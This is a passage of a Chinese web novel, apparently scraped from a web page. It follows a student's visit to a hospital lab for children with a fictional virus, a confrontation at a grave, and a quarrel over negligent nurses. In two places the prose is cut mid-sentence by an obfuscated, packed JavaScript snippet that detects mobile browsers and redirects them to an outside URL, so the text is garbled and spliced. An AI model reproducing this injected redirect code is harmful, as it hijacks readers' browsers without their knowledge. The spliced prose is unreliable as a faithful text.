顾令萍不置可否,说:“你不用管了,她的姓名牌我来帮她找。” 公冶恍若未闻低头迅速找了一圈,蹲下来:“哦,是这个吗?” 他在某个角落捡起了姓名牌,翻到正面,看了看名字,再看邓烟雨:“庄缡缡?” 邓烟雨跟只呆鸡似的,下一秒:“对,是我,啊哈哈谢谢!谢谢你!” “不客气,”公冶露出狼外婆一般的微笑,“下次要小心哦。” “嗯嗯嗯呢!” “那么继续参观吧,你跟着我就好,我带你去。” “好的好的。” 邓烟雨亦步亦趋跟在后面,不合脚的洞洞鞋害她又绊了一跤,公冶仿佛背后生眼一把薅住她后衣领,薅到前面,再往前一推,带她飞快地撤离了。 影像区也有人在工作,皆穿白大褂,忙碌而专注。同学们聚集在一个婴幼儿的人体影像周围,小马正指着一处在说:“心肌纤维呈螺旋状排列,这种螺旋扭面使心脏的结构类似于莫比乌斯带……” 有同学接话:“所以才会出现心脏其实是‘卷起来’的这种说法。” 小马颔首:“思泊病毒构造复杂,极具伪装特性,是多形态且有规律变形的智慧病毒,心脏是该病毒最先攻击的地方之一,侵犯心肌细胞的思泊粒子通常也会呈现‘8’字形,最开始会被误诊为心肌炎……” 邓烟雨安静地听讲,公冶站在她边上说:“思泊病毒后续会对外公开,你可以了解一下。” “这是只有美食家才会生的病吗?” “是的,一种先天性疾病,它能侵害人体所有器官,小可就得了这个病,不过目前病情得以控制,不需要去监护区。” 一条绞成无限符号的黄蓝相间的丝状病毒像条小蛇钻入孩子健康的身体,邓烟雨仿佛想起了什么,心咯噔一下。 她望着影像里的小孩慢慢染上疾病:“真的治不好吗?” 冰蓝色的激光投射在公冶平静深远的瞳仁中。 “听讲。” “嘁,是你在跟我聊,怎么遇到难回答的问题就岔开话题……” 公冶继续岔开话题:“今晚回去你完了。” 邓烟雨轻哼:“今晚我不去你家,下周下下周都不去。” 公冶低头瞥她,邓烟雨赶忙追上小马哥和同学们,离他远远的。 全息影像在自动循环播放,孩子又回到了最初的健康状态。确认没有落下的同学,公冶才迈开步伐。 不远处,顾令萍伫立在出口,静默观察了许久。 参观到最后,小马带同学们来到了监护区,隔离室门上的字亮着红光,让人心情凝重。 “有需要进监护室的同学,在这张纸上签字,稍候我会带你们进去,其余同学可从该出口出去了,出口通道两侧有实验院区成立至今的研究展陈,大家可以简单浏览。” “好的,受益良多,感谢马老师带我们参观了解!” “谢谢马老师!” 本次参观算告一段落了,同学们纷纷握手表示感谢。 “马老师,我目前有一项在研究的细胞变异课题,和思泊病毒比较接近,可否添加您的联系方式,后续……” 邓烟雨始终没有挤到最前面和小马哥交流一句,她像个局外人,望了望出口的方向。 公冶从中途就被两个好学的同学逮走了,刚刚和他们沟通完毕。 “小雨,”他在人群中找到茫然的邓烟雨,走近问,“监护室要去吗?” “我其实想去,”邓烟雨抬头,“但我……” “想去我带你进去,”公冶秉持着“来都来了”的原则,说,“里面是重病的孩子们,不过,思泊病毒虽不具有传染风险,但还是要穿防护服的。” 邓烟雨缓慢地眨眸:“你气消了?” “我气庄缡缡。” “哈哈,骗人,你也气我了。” “现在不气了,到底去不去?” “去。” “那签字。” 邓烟雨在两种语言的确认书上,以草体签下“庄缡缡”三个大字:“到时候发现字迹不一样,怎么办?” “我担责。” “你好man。” “那下周下下周要来我家。” “……” 穿防护服就花了好些时间,公冶帮她检查了一遍,小马看见他也来了,走过去拍拍他:“咋回事?” “跟进去的学生多,我不放心。” 小马笑了笑:“那你当尾巴,帮我管着啊,别让他们乱碰。” “好的。” 监护室静谧至极,只有轻而遥远的“滴……滴……”声,感染思泊病毒的孩子们都躺在滋养舱里,大的有四五岁了,小的还是婴儿,除了维持生命的机器在发出亮光,这里的环境像被遗弃在太空里一般黯淡。 电子设备不能带进来,大家都看得极慢,邓烟雨艰难地迈步,好几个学生超过了她。 大部分小孩在睡觉,他们一天要睡满22个小时,患病严重的孩子躯体已发生骇人的病变,四肢分泌出像孢子一样的繁殖物,这些孩子,心脏还在跳,可几乎醒不过来了。 8号滋养舱是一个四岁的小女孩,她没有睡,微睁着深绿色的眼睛,看着一个个人从自己面前走过。 邓烟雨落在最后,在她面前停留了小片刻。 她看了看滋养舱前的名字:艾嘻嘻 “好可爱的名字。”邓烟雨朦胧的声音透过自己的防护面具,透过温厚的滋养舱透明外壳,传到了嘻嘻耳朵里。 她抬起手,露出亲和的笑,朝嘻嘻挥了挥。 嘻嘻被这个傻乎乎的“大白”吸引了,也抬起手,去触摸透明外壳。 邓烟雨整个人僵住。 嘻嘻的手臂瘦到惊心,只有一根枯枝的宽度,像在战火摧残的国家存活下来的营养不良的儿童,毛毯盖住的下半身平得没有起伏痕迹。 邓烟雨心头不知为何一下子揪紧,眼眶又酸又热,忍不住将手伸向舱体,隔着透明外壳,和嘻嘻的小手逐渐接近…… “小雨,”公冶就在她身后,落下平淡的目光,温声说,“进来前提醒过,不要碰哦。” “……嗯。” 一大一小,一白一暗,一新一枯,两只手,仅差毫厘。邓烟雨收回了手,对嘻嘻又笑了笑。 嘻嘻眨了眨眼,专注地看了邓烟雨一会儿,合上眼皮,睡了过去。 走出监护室,公冶带邓烟雨和一批学生去缓冲区脱下防护服。 “阿冶,你平常也会来实验院区看他们吗?” “会的,基本上公美都会过来,不过多数情况是缺人手了,来帮忙看着调皮的孩子,监护区来得少,”公冶陪邓烟雨去洗手,“我除了在一线执勤,这里也是我的工作。” “诶……那好厉害……” “主要是打打下手。” “这次参观结束,后续网上就能看到今天参观的这些内容吗?” “会公布思泊病毒的存在,但此次参观全程不允许拍照,也就是说这里的研究环境目前还不方便公开,再等等看吧。” “我懂了。” 等人散了,公冶摘下口罩,累得敲肩:“你等等跟其他学生出去吧。” “你呢?” “我还要待一阵,有事。” “哎,你不会忘了吧,”邓烟雨说,“今天要给叔叔扫墓。” 公冶愣了一下,才意识到她说的是公冶静思。 “这两天太忙,真给忘记了,”公冶懊恼地看表,“我下午带你去。” “你要是忙成狗了,我自己去也行,我下午就去买花了。” “两点,两点前,一定要等我。” “好。”邓烟雨去和其他科大学生汇合,跑了没几步,又折返回来。 “怎么了?”他问。 邓烟雨朝他招招手,他俯身。 她搂住他在他鼻尖亲了一下,说:“生日快乐!爱你!”然后像只快乐小狗哒哒哒地跑远了。 走廊前后无人,公冶手叉腰,在原地发了一分钟的呆。 挺好,今天也算约会了。 他猫咪似的伸了个懒腰,带着好心情去找同事。 出口处,科大的学生还没散光。 “你中午打算吃什么?” “中华街就在旁边,去那吃吧,顺便路过GS大楼看一看,我听说总部又有新鲜血液了。” “哈哈哈。” 午休时间到了,实验院区播放着轻音乐,工作人员三三两两地走出来,聊着上午的成果。邓烟雨跟着两个八卦的学生往外走,突然尿急就跑了趟厕所,出来不小心撞到一个人。 好软,撞谁胸上了。 邓烟雨红着脸抬头,和极乐眼对眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“简局怎么会让你为难?” “领导都是这个样子的啦,再帅也没什么人性。” 邓烟雨一脸惆怅:“原来办公室恋情只有在小说里是美好的。” 咖啡忘加糖了,极乐苦不堪言地放下杯子:“确实,也就我们单位不禁止办公室恋情。” “哇,那特发科一定有很多内部新闻吧,嘿嘿嘿嘿。” “瞧瞧你,笑得像个土匪,”极乐被逗笑了,背靠沙发,陷入沉思,“我以后可再也不碰这个了,这次可是栽了大跟头。” “这有什么,”邓烟雨使出浑身解数安慰,“你男明星都睡过!还怕对付不了简局?” 极乐一骨碌坐直了,缓缓点头:“说得也有道理……但是,他从来没有在工作上表扬过我,员工也是需要激励的好吗,没有一点好领导的样子,哼。” 邓烟雨有种磕的cp十分不争气的无力感:“友知姐,我觉得你还是再考虑一下吧。” “我不要。” “那你后续想做什么?” “没想好,我是冲动离职,裸辞,好在身上没背贷款,存款也充裕,所以还过得去,你以后不要学我。” “那你看看我,我以后做什么工作比较好呢?” 邓烟雨说完就行动,像个屡战屡败的求职新人站在了极乐大BOSS面前。 “你啊,”极乐双手垫在脑后,打量一圈,“嗯……花店老板?” “花店?老板?”邓烟雨拉挺衣服,两眼放光,昂起头满怀希望地畅想未来,“听起来不错,我觉得行。” “不过现在花店不太景气,”极乐身子往前探,“要不,你开一家给死人卖花的店?” 邓烟雨:“……” 邓烟雨:“你快去上班吧。” “别不信,入殓师,守墓人,这些职业都很高薪的,”极乐敲敲她脑袋,拎起警服往背后一甩,“你下午不是要去扫墓吗,先探探行情呗。啊对了,桌上的蛋糕带走吧。” “啊?你一块也不吃?抹茶的也不要了?” 极乐回首对她一笑:“最后一次禁糖期了,我会牢牢遵守的。” 门关上后,休息室重归宁静,邓烟雨原地站了站,随后来到窗前,吃着剩下的栗子千层。 吃完千层,她拎着蛋糕盒离开,打算乘大楼东侧的电梯下去。 邓烟雨没想到会和她再次相遇。 顾令萍蹲下,拾起垃圾桶旁一样闪着银光的物品。注意到目光,她望向右边,邓烟雨站在那,有点无措地点头示好,多次看向她的手。 顾令萍垂眸,盯着手里的东西,笑了笑:“你是科大的学生?” “额,我是。” “怎么来前面大楼了?” “我在这里有认识的人。” “是吗?” 顾令萍按亮下行键。 邓烟雨拘谨地走过去,和她一起等电梯。 “你叫庄缡缡?” “是的。” “今天听完,有什么收获吗?” 邓烟雨焦头烂额,电梯卡在二楼了。 “收获很大,这次参观,让我见识到了国内科研团队的强大,虽然思泊病毒现下无法完全治愈,但我相信未来一定会有重大突破。” “不会有那么一天,即便把未来交到你们手上,可能性也为零。” 邓烟雨嘴角一僵,情绪无端地往下沉。 “你们现在都太嫩了,”顾令萍唇角轻勾,“以后也不见得有什么造诣,尤其是你,庄缡缡,我觉得你都没怎么听懂,你是怎么考进科大的?” 怎么回事。 好难受。 待在她身边好难受,感觉磁场都被影响了,能量都被吸走了。 邓烟雨抓紧蛋糕盒,也在这时,电梯门开了,顾令萍迈步走入,察觉身后那人没动:“不下去吗?” “我……忘了东西,要回去取。” “如果是要买花,我会帮你买好。” 邓烟雨愣神:“什么?” 顾令萍游刃有余地抬起下巴,那双眼犹如淬毒的冷针:“托某人的请求,我也要去扫墓,可以带你一段。” 邓烟雨听到这话,终于肯抬起头,直视她了:“某人?” “对,某人,是他拜托我的,”顾令萍绽开微笑,“让我去南山陵园,为一位叫公冶静思的烈士扫墓,你呢?你也是吗?” 100. 四月一日 两点前,黑色古思特驶出GS总部。 邓烟雨给公冶渡莲发去一条消息:【我偶遇顾院长,她也去扫墓,我坐她车去了】 车内环境奢适,身边人发出一点动静都能感知到。邓烟雨放下手机,望向窗外景色,尽量不和顾令萍讲话。 她还没坐过这么贵的车子,浑身不自在。顾令萍翻阅着一份合同,纸页声仿佛在刮擦她的耳膜。 低沉的女音突然响起:“你和渡莲在交往?” 邓烟雨回神,下意识瞥向斜前方开车的司机。 “我……” “我知道你是谁,”顾令萍盖上合同,轻轻扔去一边,“前面在总部我不想拆穿你,现在出来了,你也不必再惺惺作态。” 邓烟雨有点后悔坐上她的车了,低头注意手机。 “别等了,他在情况作业区,手机不会随身携带,所以也不会发来消息。” 闻言,邓烟雨握紧手机的手渐渐松开。 “顾院长,您是对我有意见吗?” 顾令萍就等着她问出这句话,端详邓烟雨片刻,不露声色地勾起嘴角。 “你假借他人身份混入GS总部实验院区,凭这一点,我就可以让歌财大开除你的学籍。” 邓烟雨无话可说,有种受制于人的不适感。 “你们年轻人把现今社会当成什么了,过家家似的在玩,一想到古洛的未来会毁在你们这一代,”顾令萍欣赏自己的指甲,轻笑,“我还真是放心呐。” 车速减慢,前面传来转向灯的声音。 司机在路口临时停车,去花店买了一束白菊。四十分钟后,他们下车步入南山陵园。 陵园一如既往万籁俱寂,松林中鸟啼悠远,邓烟雨跟在顾令萍后面,走台阶的时候心神不宁。 当看到墓碑瓷像上的男人时,邓烟雨心间倏然一暖。公冶静思有一双琥珀色的眼眸,笑意温柔,邓烟雨不禁想如果他还在世,可能阿冶的人生不会像现在这样受困,至少有一个人能真正地保护他,带领他成长。 顾令萍将白菊放下,指尖抚过碑文边缘,语气平静却不容置疑:“其实我很担心你,担心你不理解我和渡莲,有些事他之所以不告诉你,也是因为怕你知道了会难以接受,邓烟雨,我希望你能谅解我们。” 邓烟雨站在后方:“顾院长现在说的话我才不理解,如果您有想法,可以直言,而不是在这旁敲侧击,让我主动来问您。” 顾令萍起身:“这件事,我本不愿说,只是不希望你蒙在鼓里,渡莲在调查你父亲,你是否知情?” 邓烟雨皱眉:“你说什么?” “简单来说,你父亲身上有个秘密,或许是我和渡莲一直在找的,他不希望我犯险,所以决定自己来查,之后,他就和你交往了。” 顾令萍失笑,声音低下去:“他六岁就养在我这,我了解他的性格,是个固执的孩子,为达目的可以不惜一切代价,不过他也有颗善良的心,我相信他不会亏待你。” 邓烟雨面色非常难看。 “利用你,是他不对,”顾令萍正视邓烟雨,“无论当初他说了什么,让你答应和他交往,从今天起只要你愿意,随时随地可以和他提出分手,是他一时心急犯了错,我这个做母亲的自然要为他的错误来买单。” “阿冶的母亲是一位强大又美丽的顶级美食家,”流云移动,一束天光落进邓烟雨清黑的瞳仁中,“不过也感谢顾院长,教会他如何在奸险阴暗的环境下为自己活着,没有让他走上歧路。” 陵园的风偏凉,吹在她们身上,顾令萍俯视下,女孩乌黑洋溢的卷发像一团波浪在飘动,掠过了面庞,和那道坚毅明亮的眼神。 顾令萍柔和一笑:“你好好考虑,我先回去了。” 转身之际,一样东西闪着银光掉在了地上,发出沉而清脆的金属声,邓烟雨喊住顾令萍:“您东西掉了。” 话音未落,邓烟雨看清地上掉的是什么,整个人恍惚了。 顾令萍也扭过头:“噢,”她蹲下来,再次捡起这枚银色领带夹,拿到邓烟雨眼前说,“这是渡莲的吧,我见他戴过一次,他好像不要了,不过也不能随便扔垃圾桶边上啊,我就先替他收着了。” “是吗……”邓烟雨紧盯着领带夹尾端“DL”两个字母,“可能是他不小心弄丢了。” “但愿是不小心,”顾令萍口吻带了点了然,说,“等明天有空,我再去问问他……哦对了,我给你吧。” 顾令萍把领带夹放到邓烟雨手上。 “这枚领带夹,应该是他比较亲密的朋友送的吧,我出面不合适,你们还是男女朋友关系,你去给他会更好些,你觉得呢?”顾令萍笑着说,“当然,给或不给,你自己定夺,毕竟这是他不要的东西,就算不给,我想也不要紧。” 司机在下面等候许久,见顾令萍下来了,跟随离去。 邓烟雨握着领带夹,半天没动,陵园上空飘来厚重的云层。她久久伫立在公冶静思的墓前,背影稍显孤单,墓前的白菊花不饱满,像一场苍白的祭奠。 她不知待了多久,刚走出陵园,就听见远方传来了警报声。 是四一稀美屠杀案的警报,每年四月一日下午4点01分都会准时拉响,这个时间段,歌华市所有美食家禁止外出,连公美都不允许出警。 邓烟雨微不可察地一叹,再度看向手机。 他还没有回消息。 …… 夜晚七点,朗玉山办公室的门被一把推开。 一个少年风风火火闯进来,从这走到那,翻箱倒柜,弄出一片动静。朗玉山再也忍受不了,甩开鼠标说:“臭小子打年猪血了?一天到晚冲来撞去的,丢啥了啊垃圾桶都翻?” 公冶身上的志愿者制服还没脱,把脑袋从垃圾桶里抬出来:“你看见我领带夹了吗?银色的,上面有刻字母。” “那么私人的东西我哪能见着,你去前面楼找找。” “找了,没有。” “警服。” “没有。” “你自个儿乱丢东西,能怪别人?别哭丧着脸在我这要死要活的!” “我哪在你这要死要活?我这一周都为了你们在实验院区忙得脚不沾地你现在来说我打扰你工作了?” 这一周是院区今年以来最忙的一周,大家加班加点,累得没力气洗澡,所以脾气都差了点,一两句话就给点着了。 “哎呀好好好,你是好孩子,稳住,稳住,让你成天两头跑还无偿加班确实是我们不对哈,以后再也不会啦好不好?” 公冶泄气地坐在小马的工位上:“我把特发科都掀翻了。” “就为了找那个领带夹?” “是啊,被他们说像只打不到的苍蝇飞来飞去,把我轰出来了。” “哈哈哈哈,你翻来翻去的肯定打扰同事工作了呀,有说帮你找吗?” “说帮我找,不过刚出警回来,在忙。” “你在我们这时间多,说不定是掉这了,宿舍有去过吗?” 小马回来正好听到他们聊天:“咋了?” “影青的领带夹弄丢了。” “再买一个呗。” “不行,”公冶说,“那是小雨送给我的生日礼物。” 朗玉山:“……” 小马哥:“……” 朗玉山噌地拔地而起:“这种东西你都敢乱丢?!!” “哇!”公冶吓得一激灵,“你干嘛喊那么响,吓我一跳。” “女朋友送你的礼物都敢弄丢,你今天不找到一辈子别去见邓烟雨!” 公冶:“……” 小马护犊子:“哎呀收收你的狗脾气,冲孩子发什么火呀,影青这些天有多累你知不知道?不知道一边玩球去,影青别急,小马哥帮你找哈。” “你你你你和影青都出去,别打扰我工作!” “嗨哟喂你个老鬼,连我都敢轰?你起来,来来来我们来较量一番!” “我早起来了!你说!较量什么你说!” 此地不宜久留,公冶趁他们架腿划拳的工夫赶紧溜出去了。 他一个小时前看到邓烟雨的消息,打了电话,对面没接,眼下得空了,他再次打过去。 嘟了将近十声,邓烟雨接起:“喂?” “你到公寓了吗?” “嗯。” 公冶松了口气,往墙上一靠:“对不起,我下午太忙了,手机没法带进作业区。” “顾院长和我说了,我都知道。” 公冶听出对面情绪淡淡,紧了几分神:“顾院长是不是和你说了些不好听的话?” 邓烟雨已经洗好澡,坐在床上,扯着青蛙抱枕的腿,不说话。 这么安静,看来是了。 “小雨,她的话你不要信,我明天不上班,带你出去玩好不好?” “你明天真的不上班吗?顾院长说明天还要找你呢。” “我……”公冶还没和朗院长沟通好明天排班的事,按理说他可以协商明天请出半天假,不过朗院长最近除了忙工作就是冲底下的人发脾气。 公冶突然有种不好的预感。 朗院长怎么焦虑成这样?难道是小可的病情…… 邓烟雨讨厌他沉默:“你怎么不说话了?你今天扫墓都没去,我和静思叔叔告你状了。” “对不起啊。”公冶没办法,只能服软道歉,由于一心系着小可的事,听邓烟雨讲几句话都分神,邓烟雨终于忍不住:“你是不是还有事忙?你要忙工作就去忙!不用照顾我心情打电话来,我明天有其他安排了,挂了!” 单调的嘟嘟声从听筒里传出来,公冶放下手机,头顶的月色异常黯然。 他发去几句消息,邓烟雨没回。 一阵清凉的夜风穿过室外长廊,公冶想了想,还是先去了小可那边。 “幼美”病理室没有玩闹声,孩子们打过针吃过药,乖乖地在看电视,小爱坐在飘窗上,教小可翻花绳。 “咦,小八,你怎么来啦?” “小爱,我们要有礼貌,要叫‘哥哥’。” 小爱一哼:“我和他都那么熟了,叫声‘小八’怎么了。” “小爱姐姐叫我什么都可以,”公冶对她一笑,看向小可,“今天晚上在这里睡吗?” 小可点头:“是呀。” 公冶坐下来:“最近护理师还是照常带你去治疗吗?” 小可摇头:“以前一天三次,最近一天就一次了。” “就一次了?那小可感觉身体怎么样?” “嗯……”小可嗫嚅了会儿,“小八哥哥,我有时候觉得呼吸好累,我和护理师哥哥说了,但哥哥说我生病了就是会累的,是正常的。” “和朗院长说了吗?” “朗院长这几天没来,有一次明明在门口了,护理师哥哥不让他进来。” “不让他进来?” “对呀,我还跑过去叫朗院长,被护理师姐姐拉住了,她说朗院长要和医生们开会,让我不要去添乱。” 公冶环顾一圈,理应在这里看顾的护理师一个都不在。 他起身,走到墙边,拿起墙上座机听筒,拨通一串号码,等了几秒,他对听筒那边说:“人都在值班室干什么?儿童房三小时巡视一次我就不说了,病理室的孩子要求二十四小时照看,你们人为什么不在?” “肚子痛痛到值班室吗?那里是有什么灵丹妙药?” “两分钟之内,幼美病理室门口,让我看到你们。” 公冶挂断电话,摸摸小可脑袋,让他别担心,自己走出房间。 二十分钟后,一男一女两个护理师步履悠闲地逛到了幼美病理室门口,公冶渡莲在走廊上静静地等待,就这么看着他们走过来。 男护理师先开口:“你找我们?” “你们去干什么了?” “电话里不都说了吗,肚子疼,上了个厕所。” 公冶看向那个女的:“你呢?” 女护理师不耐烦地撩头发:“生理期,生理期懂吗?” “来,你们跟我过来。” 两名护理师面面相觑,虽不明所以,但还是跟着公冶来到走廊尽头,没人的地方。 “上厕所上到值班室?生理期去值班室?”公冶转身,直接爆发,“让你们两分钟过来,现在几点了?腿断了吗?!” 那一男一女犹如被当头一棒,完全吓呆住了—— 什么情况,他一向是好脾气的啊,怎么会生这么大的气? 两名护理师不约而同冒出了同一个心声,给了对方一眼,张口结舌。 “朗院长开你们一个月两万块的工资是让你们想方设法来偷懒的?上次小可误食彩铅过敏,你们就不在,是暮火给孩子打的针,那我们没看见的日子里你们就一直这样懈怠是吗?” “孩子不也没出事吗……” “没出事就可以偷懒?就这点职业道德?你们但凡有一个人留在病理室轮班摸鱼我都不会打这通电话!你们想干什么?挑战谁的极限?!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579353|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那男的也火了:“这他妈病理室不有监控吗?!监控室有人看着啊!” 公冶笑了:“你说的没错,有监控,既然这样,你们走人好了。” 男护理师喘着气:“……啊?” “我会和朗院长解释清楚,你们被解雇了。” “……” “……” 他们心一震,彻底急躁了:“你凭什么解雇我们?!” 公冶走近一步,居高临下盯视他们:“凭这里是GS总部的实验院区,具备一流的技术和人才,容不得任何玩忽职守、敷衍搪塞的员工,不管你们从事这一行的经验有多丰富,在这里,我就是特权,我说解雇就解雇,你们无权辩驳与申诉。” 男护理师整张脸涨得紫红,扬起拳头:“影青!!你——!” “好了。” 顾令萍在楼梯口不知听了多少,正走上来:“别吵了,你们两个,先去病理室看着孩子。” 他们通红着脸悻悻离去,临走前骂了声“肉畜”。 顾令萍皱眉,目光幽深地盯着他们走远,刚要和身边的人说话,公冶手插兜对她冷冷一笑:“恭喜顾院长,仅用一周时间就说动了总部两名高级护理跳槽,您带去独玉吧,我们不会再用了。” 他和她擦肩而过,顾令萍愣了愣,叫住他:“你在气我?” “我不会在你身上浪费时间。”说完走了。 “渡莲。” 他往下走,没有回头,顾令萍攥拳,大声喊道:“你站住!” “我警告你!”公冶一声怒喝惊住了顾令萍,“你下午带邓烟雨去我父亲墓前说的好话,我有时间会一个字一个字向你问清楚,但是你让他们更换小可的治疗模式却对朗院长一字不提!出了事谁来担责?!顾令萍,总部不是你作威作福的地方!” 顾令萍身形都不稳了:“你威胁我?你是我儿子你威胁我?!” “你儿子?”公冶冷眼呵了声,骂道,“你就当你儿子早死了吧!” “……” “你……!” “你!!!” 公冶携风离去,顾令萍颤抖地扶住栏杆,气得跪倒在地,抓着自己胸口。 “你……你对我这样……你敢……对我这样……” 顾令萍落下大颗泪珠,五根手指反复用力,刮挠地面,在光洁的地板上留下五道血迹。 次日,影青解雇两名高护的光荣战绩传遍GS总部上下,甚至这风还吹到了隔壁市局。 “你牛啊,”小马拆着茶叶包装,“朗院长正想着怎么处理他们呢,你一上来就搞定了,臭小子什么时候变得这么厉害了啊?” “就骂啊,”公冶今天穿了警服,领带挂脖子上,“骂解气了就解雇。” “哈哈哈哈,”小马笑得拍腿,“没有白养你,咱的好儿子好儿子。” “谁是你儿子,别摸我头。” 朗玉山今日一身疲惫减轻不少:“领带夹找到了吗?” “你看我像是找到的样子吗,”公冶拎起自己未打的黑领带,“你们有空了帮我留意一下。” “行,会帮你找的。” 公冶递给朗院长一杯茶:“再有这种糟心事记得叫我,还有极乐毒株,道理讲不过至少能充当个打手。” “不叫刺舟哇?” “刺舟那么乖,不能带他。” 小马笑了,转头对朗玉山说:“那两个被顾令萍策反了,又见你忙,才在小事上变着法地膈应你,哪有下级给领导穿小鞋的,我听了都受不了,老朗,你年纪大起来怎么心反而变软了?” 公冶:“年纪大了是容易心软。” 朗玉山叹气:“你们两个,该做实验的做实验去,该约会的约会去,别挤在我这唱戏。” “总部是你的地盘,我们需要她独玉的设备,那就谈,只要不是‘割地赔款丧权辱国’的事,都有协商的余地嘛。” “知道啦!”朗院长频频挥手,“喝个茶堵不住你的马嘴,还有你,找你的领带夹去!” 公冶:“哦。” 小马招手:“哎影青等等,帮我带走这个。” “什么?” “上次极乐让我修的精灵蛋,我修好了,话说其实也没破啊。” “这不是……”公冶接过一看,“简局的吗?” “磕破了点皮,啥问题没有,极乐紧张兮兮的,把我当免费的修理工,”小马在找装精灵蛋的盒子,“告诉她没有下次了……你刚说什么?” “没什么。” 公冶带着精灵蛋回到特发科,放在了极乐的工位上。下午,他又被叫回实验院区,会议室在开会,小马正好出来,拉着他到一边说:“你还记得上次交涉失败的那台HUB治疗仪吗,南陆进过来的,全国仅此一台。” “嗯,记得。” “这台仪器不在独玉了,目前租给了九保分所,他们愿意出借,要求是小可作为‘一号标本’去九保分所接受一整套正规全面的治疗。” 公冶眼眸一凛:“标本?” “也就是说,治疗失败就留在那了……” “我记得朗院长是很想搞到这台HUB的。” “是啊,”小马踱步,“权衡不好啊,小可目前还是有治疗价值的,再等下去就只能去监护区了,九保的人自诩手里有方印玺,光在那托大看戏。” “小可自己的想法呢?” 小马一愣:“什么?” 公冶拧开矿泉水瓶:“小可自己的意愿,他是否愿意离开熟悉的环境,去九保接受长期异地治疗,他的想法可以供你们参考,也可以借你们之口拿来和顾院长谈判,至于九保,他们连这张谈判桌都没得上。” “朗院长虽然想要HUB,但如若对孩子们没有实际效益,这台被抢疯了的机子也就是块废铁了。影青,这次交涉的中心还是顾令萍,你的建议很有用。” 小马拍拍他肩,马不停蹄回会议室去了,而公冶则在下班前跑了趟指挥官办公室。 这两天熊小滚为了案子总泡在蒋淮那边,公冶好不容易才逮住他。 “找我干嘛?” 熊小滚满桌找自己的水杯,找了半天想起来,被他落在支队了。 “熊队,我想申请探监。” 熊小滚本能地先噢了声,再把下属的话在脑子里过滤了一遍:“你说探监?” 他惊疑问着:“你要探谁的监?” 公冶望着熊小滚,缓声道来:“关海区第一监狱,周骋志先生。” 101. 暴风雨前 杀死这片黎明。——佚名《苦爱》 - 4月10日,8:00AM,距离双紫星开幕庆典还剩十一个小时。 GS总部实验院区门口停着一辆七座MPV,小可戴着氧气面罩,输着液,躺在担架上,被稳稳抬入车内。 “出发前再测一次。” “心率每秒105下,又升高了。” “昨晚十点开始就高烧不退,我建议让孩子缓缓再走。” 小马一夜未眠,胡茬都冒出来了,心疼的目光不离小可,拦着不让关车门:“孩子烧退不下来,我看还是先别……” “什么意思?协议都签了,现在说不治了?”九保分所的技术员看向一旁的顾令萍,“顾院长麻烦您给句准话,我们来回一趟时间也很宝贵的。” 一只手探上小可的额头,九保的技术员刚要皱眉训斥,见是那人,张开的嘴又默默闭上了。 公冶渡莲将手背放了会儿,拿开,冷冷抬眼打量技术员:“不让总部的主治医师跟着,你们的操作就很有问题了,孩子突发高烧是意料之外,请你们制定相应的对策。” “影青警官意思是?” “让我们跟一个人。” “不可能。” “那你们急什么,等孩子烧退,再走不迟。” “你……” “这是‘活体标本’,使用权已归九保,就算情况再坏,死在车上,也和你们总部没关系,”顾令萍不容置喙,“十分钟后出发。” 朗玉山从车上下来:“顾院长,孩子情况目前还算稳定,能撑到九保,不过九保派来的人没用,麻烦让我们跟一个人。” 技术员满脸不爽。 “我知道HUB是涉密设备,但马行雪的团队在治疗陪护名单内,马医生跟去不会破坏协议规定。” “马老师下午还有重要的讲座论坛要参加吧?九保的车可不负责送回,”顾令萍指向小马身后,“让她们跟着吧。” 这两名女生是小马的徒弟,也是团队的人,不过对小可的病情了解得没有她们师父详细。 顾令萍显然有意为之。 “小八哥哥……朗院长……马叔叔……”小可醒来了,虚弱地说,“我撑得住的……你们别担心……” 顾令萍心中不快,转身坐进副驾驶,关上车门,吩咐九保的人尽快出发。 “就让你学生跟着吧,再僵持下去会拖重小可病情。” 小马点头,和两个徒弟说:“有事及时联系。” “我们知道,师父您放心!朗院长您也放心!影青,走啦!” “好。” 她们简单打了招呼,速速上车了。 “我前面盯着顾令萍给孩子用药了,没问题,”朗玉山拍拍小马,“以为你能比我稳呢,结果发个烧就把你吓成这样了?” 小马愁容满面:“这孩子从没出过远门,还在发烧,我我……” “好了好了……” 公冶目送着车子驶出侧门,直至消失在尽头,一种熟悉又遥远的感觉漫上心头。 他回头说:“那我也走了,晚上六点前回来。” “听老熊说,你要去关海区的监狱看人?” “是的,”公冶一身黑白运动服,戴上棒球帽,“申请批了一周,我以为这周没戏,结果昨晚下来了。” 朗玉山皱眉:“怎么赶在今天。” “我晚上能回来,双紫星那边,极乐刺舟毒株都会准时到岗。” “歌华今晚可热闹了,你记得早点回,别吃屎都赶不上热乎的。” “小马哥,”公冶蹲下重新系了鞋带,“有时候真觉得你文采斐然。” “哎,知道,别夸我了,你赶紧的吧,再迟就赶不上车了。” “小可那儿让你徒弟注意点。” “那俩丫头比你靠谱。” 今天气温偏低,晨风舒爽,是个不错的晴天。九点前,公冶换乘提早抵达歌华南站,在一楼候车室等车。 他给邓烟雨发去消息:【我去关海了,晚上回来】 那边迟迟未回复,可能还在睡觉。 今天歌财大放假,祁家如此隆重盛大的开幕庆典,学校给足了面子,鼓励学生们都去参加,只是邓烟雨兴致不大。 其实从八天前开始,她就一直兴致不大—— “难得歌华有那么大的活动,祁宴还给你发了邀请函,去看看吧,各界名流都会到场,说不定还有你喜欢的男星。” “唔……”邓烟雨走在他身边,拎着便利店袋子,里面装着瓶乌龙茶,她也不知道自己为何要买,就是想花点钱解解闷吧。 